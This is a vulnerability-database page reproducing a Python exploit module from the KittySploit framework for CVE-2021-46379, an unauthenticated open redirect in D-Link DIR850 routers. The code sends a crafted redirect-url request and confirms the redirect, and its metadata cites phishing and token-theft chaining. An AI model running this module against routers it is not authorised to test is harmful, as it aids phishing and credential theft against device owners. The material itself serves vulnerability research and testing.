Lucene search
+L

D-Link DIR850 Open Redirect (CVE-2021-46379)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated open redirect in D-Link DIR850 via formWlanRedirect redirect-url parameter.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR850 open redirect (CVE-2021-46379)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'D-Link DIR850 Open Redirect (CVE-2021-46379)',
        'description': (
            'Exploits CVE-2021-46379 in D-Link DIR850: unauthenticated open redirect via '
            'formWlanRedirect redirect-url parameter (phishing / token theft chain).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-46379'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-46379'],
        'tags': ['dlink', 'router', 'redirect', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['risk_signals'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_46379_detect']},
        },
    }

    redirect_url = OptString('http://example.com', 'External redirect target to test', required=True)

    def check(self):
        target = urllib.parse.quote(str(self.redirect_url or 'http://example.com'), safe='')
        path = f'/boafrm/formWlanRedirect?redirect-url={target}&wlan_id=1'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return {'vulnerable': False, 'reason': 'No response', 'confidence': 'low'}
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items())
        host = urllib.parse.urlparse(str(self.redirect_url or 'http://example.com')).netloc
        if host and re.search(rf'Location:\s*https?://[^/\n]*{re.escape(host)}', headers, re.I):
            return {'vulnerable': True, 'reason': 'Open redirect confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Redirect not observed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('D-Link DIR850 redirect not confirmed')
            return False
        target = str(self.redirect_url or 'http://example.com')
        print_success(f'Open redirect to {target} confirmed')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.9Medium risk
Vulners AI Score6.9
CVSS 25.8
CVSS 3.16.1
EPSS0.15769
1